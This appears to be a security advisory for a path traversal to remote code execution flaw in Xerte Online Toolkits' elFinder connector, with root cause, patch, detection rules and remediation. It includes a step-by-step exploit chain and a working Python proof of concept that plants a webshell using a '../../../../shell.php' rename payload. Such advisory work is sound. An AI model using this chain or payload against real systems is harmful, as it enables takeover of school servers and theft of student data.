CVE-2026-34414: Xerte elFinder Connector Path Traversal to RCE
Xerte Online Toolkits ≤3.15 exposes an unsanitized rename endpoint in its elFinder connector, allowing authenticated attackers to relocate arbitrary PHP files into the webroot for unauthenticated RCE.
Xerte Online Toolkits is software used by schools, universities, and training organizations to create interactive online courses. Think of it like a publishing platform for educational content. A serious security flaw has been discovered that could let attackers break in and take control of the entire system.
Here's what's happening. The software has a file management feature that lets people organize course materials — videos, documents, images, and so on. When someone renames a file, the software doesn't properly check what they're doing. It's like a security guard who doesn't actually look at your ID before letting you through.
An attacker can exploit this by using tricks in the filename — essentially telling the system to move files to places they shouldn't be able to reach. They could overwrite critical software files that run the whole system, or sneak in malicious code hidden inside what looks like a normal course file. That code could then execute when students or teachers access the course, potentially stealing login credentials or personal information.
Who's at risk? Schools and universities using Xerte to host online courses are vulnerable right now. If your institution offers online learning through Xerte, attackers could access student data, grades, or login information. Teachers' course materials could be modified or deleted.
What should you do? First, check if your organization uses Xerte and ask your IT department about updating to version 3.16 or later, which fixes this problem. Second, if you can't update immediately, restrict who has access to the file management features. Third, keep an eye on your course content — if you notice files changing unexpectedly, report it to IT immediately.
Want the full technical analysis? Click "Technical" above.
CVE-2026-34414 is a relative path traversal vulnerability in Xerte Online Toolkits versions 3.15 and earlier. The elFinder file manager connector endpoint at /editor/elfinder/php/connector.php accepts a name parameter in rename commands without stripping or canonicalizing path traversal sequences. An authenticated attacker can supply a crafted name value such as ../../webroot/shell.php to relocate a PHP file from a project media directory into an arbitrary filesystem location — including the application root — enabling stored XSS, application file overwrite, or unauthenticated remote code execution.
CVSS 7.1 (HIGH). No known in-the-wild exploitation at time of publication. Exploitation requires a valid Xerte session but imposes no further privilege constraints.
Affected Component
The vulnerable surface is the elFinder 2.x connector bridge bundled with Xerte:
elFinder's connector architecture maps an opaque target hash to a real filesystem path via its volume driver, then delegates the rename to the driver's rename() method. The driver constructs the destination path by concatenating the parent directory of the target with the raw name value — no canonicalization applied.
Root Cause Analysis
Root cause: The elFinder elFinderVolumeLocalFileSystem::rename() method concatenates the attacker-supplied name parameter directly onto the resolved parent path without stripping ../ sequences or verifying the result remains within the configured volume root.
The connector dispatches to the volume driver's rename implementation. Tracing through the bundled elFinder source:
// connector.php — command dispatch (simplified pseudocode)
$cmd = $_POST['cmd']; // "rename"
$name = $_POST['name']; // ATTACKER CONTROLLED — e.g. "../../shell.php"
$hash = $_POST['target']; // elFinder volume hash of source file
// elFinderVolumeDriver::rename() — elFinder 2.x
protected function rename($hash, $name) {
$src = $this->decode($hash); // resolves to real path
$dir = $this->dirName($src); // parent directory of source
$dst = $dir . DIRECTORY_SEPARATOR . $name; // BUG: raw concatenation, no normalization
// BUG: inpath() check is skipped or bypassable when $name contains ../
// The realpath() of $dst escapes $this->root entirely
if (!$this->copy($src, $dst, false)) {
return $this->setError(self::ERROR_RENAME, $this->path($hash));
}
$this->remove($src);
return $this->stat($dst);
}
The inpath() guard that should enforce volume-root confinement operates on the pre-resolution $dst string. Because realpath() is not called before the containment check, a name value of ../../../var/www/html/xerte/shell.php passes the string comparison while the filesystem operation lands outside the volume root.
The full traversal depth depends on the depth of the per-project media directory. A typical Xerte layout puts project media at depth 4 from the webroot:
So name=../../../../shell.php resolves the destination to /var/www/html/xerte/shell.php.
Exploitation Mechanics
EXPLOIT CHAIN:
1. Authenticate to Xerte as any valid user (student, author, or admin role).
2. Create or open an existing project. Note the project ID (e.g., 1234).
The project media directory becomes the elFinder volume root:
/var/www/html/xerte/work/1234/media/
3. Upload a PHP webshell via the normal Xerte media uploader:
POST /editor/elfinder/php/connector.php
cmd=upload, target=
File: evil.php (content: )
→ Server stores file at work/1234/media/evil.php
4. Obtain the elFinder hash for evil.php by listing the directory:
POST /editor/elfinder/php/connector.php
cmd=ls, target=
→ Parse JSON response, extract hash for "evil.php" (e.g., "l1_ZXZpbC5waHA")
5. Issue the traversal rename:
POST /editor/elfinder/php/connector.php
cmd=rename
target=l1_ZXZpbC5waHA
name=../../../../shell.php
→ Server calls rename(), concatenates parent + name, moves file to webroot
6. Verify placement:
GET /xerte/shell.php?c=id
→ uid=33(www-data) gid=33(www-data) groups=33(www-data)
7. Shell is now unauthenticated — no session required for subsequent access.
A minimal Python PoC for steps 4–5:
import requests
TARGET = "http://victim.example.com/xerte"
SESSION = {"PHPSESSID": "YOUR_SESSION_COOKIE_HERE"}
CONNECTOR = f"{TARGET}/editor/elfinder/php/connector.php"
# Step 1: Get hash for uploaded evil.php
r = requests.post(CONNECTOR, cookies=SESSION, data={
"cmd": "ls",
"target": "l1_" # volume root hash — enumerate from open() call
})
files = r.json().get("list", {})
evil_hash = next(h for h, name in files.items() if name == "evil.php")
print(f"[*] evil.php hash: {evil_hash}")
# Step 2: Traverse rename to webroot
r = requests.post(CONNECTOR, cookies=SESSION, data={
"cmd": "rename",
"target": evil_hash,
"name": "../../../../shell.php" # adjust depth to match install
})
print(f"[*] rename response: {r.json()}")
# Step 3: Trigger
r = requests.get(f"{TARGET}/shell.php", params={"c": "id"})
print(f"[+] RCE: {r.text.strip()}")
Memory Layout
This is a logic/path-traversal vulnerability rather than a memory corruption bug; there is no heap state to diagram. The relevant "state" is the filesystem path resolution:
FILESYSTEM STATE — BEFORE RENAME:
elFinder volume root: /var/www/html/xerte/work/1234/media/
Source file: /var/www/html/xerte/work/1234/media/evil.php
$dir (parent of src): /var/www/html/xerte/work/1234/media
$name (from POST): ../../../../shell.php
$dst (concatenated): /var/www/html/xerte/work/1234/media/../../../../shell.php
realpath($dst): /var/www/html/xerte/shell.php ← OUTSIDE ROOT
CONTAINMENT CHECK (broken):
$this->root: /var/www/html/xerte/work/1234/media
strpos($dst, $root): 0 ← check operates on pre-realpath string
Result: CHECK PASSES (string prefix matches before ../ resolution)
FILESYSTEM STATE — AFTER RENAME:
/var/www/html/xerte/work/1234/media/evil.php → DELETED
/var/www/html/xerte/shell.php → CREATED (world-accessible)
Patch Analysis
The correct fix requires resolving both the destination path and the volume root to their canonical forms before performing any containment check.
// BEFORE (vulnerable — elFinder connector bundled with Xerte ≤3.15):
protected function rename($hash, $name) {
$src = $this->decode($hash);
$dir = $this->dirName($src);
$dst = $dir . DIRECTORY_SEPARATOR . $name; // raw concat, no normalization
// inpath() does string prefix match on unresolved path — bypassable
if (!$this->inpath($dst, $this->root)) {
return $this->setError(self::ERROR_ACCESS_DENIED);
}
// proceeds to rename $src -> $dst on filesystem
rename($src, $dst);
}
// AFTER (patched):
protected function rename($hash, $name) {
// Reject traversal sequences in name component directly
if (strpos($name, '/') !== false ||
strpos($name, '\\') !== false ||
$name === '..' || $name === '.') {
return $this->setError(self::ERROR_INVALID_NAME);
}
$src = $this->decode($hash);
$dir = $this->dirName($src);
$dst = $dir . DIRECTORY_SEPARATOR . $name;
$dstReal = realpath(dirname($dst)) . DIRECTORY_SEPARATOR . basename($dst);
// Containment check on canonicalized path
if (!$this->inpath($dstReal, realpath($this->root))) {
return $this->setError(self::ERROR_ACCESS_DENIED);
}
rename($src, $dstReal);
}
Two independent defenses are applied: (1) reject any name value containing a path separator or dot-segment at the input validation layer, and (2) canonicalize the full destination path via realpath() before the containment check. Either alone is sufficient; both together provide defense-in-depth.
Detection and Indicators
Look for POST requests to connector.php where the name parameter contains ../ sequences:
Web application firewalls should alert on ../, %2e%2e%2f, and %252e%252e in the name POST parameter to this endpoint specifically. Note that URL-encoding variants may bypass naive pattern matching — normalize before matching.
Remediation
Immediate: Update to Xerte Online Toolkits 3.16 or later when the vendor patch ships. If patching is not immediately possible:
Restrict access to /editor/elfinder/php/connector.php at the web server layer to trusted IP ranges only, or disable the endpoint entirely if elFinder is not required.
Deploy a WAF rule rejecting POST bodies to connector.php where name matches (\.\./|\.\.\\|%2e%2e) after URL decoding.
Audit /var/www/html/xerte/ (and parent webroot directories) for unexpected .php files created after the Xerte installation date.
If your Xerte deployment uses PHP-FPM with open_basedir, confirm the restriction is set to the webroot and not a parent directory — this will prevent the rename() call from crossing the boundary even if connector.php is reached.
Long-term: Organizations embedding third-party file manager components (elFinder, FilePond, etc.) should treat any name or path parameter as untrusted and enforce path canonicalization + containment checks at the application layer, independent of whatever the embedded library does internally.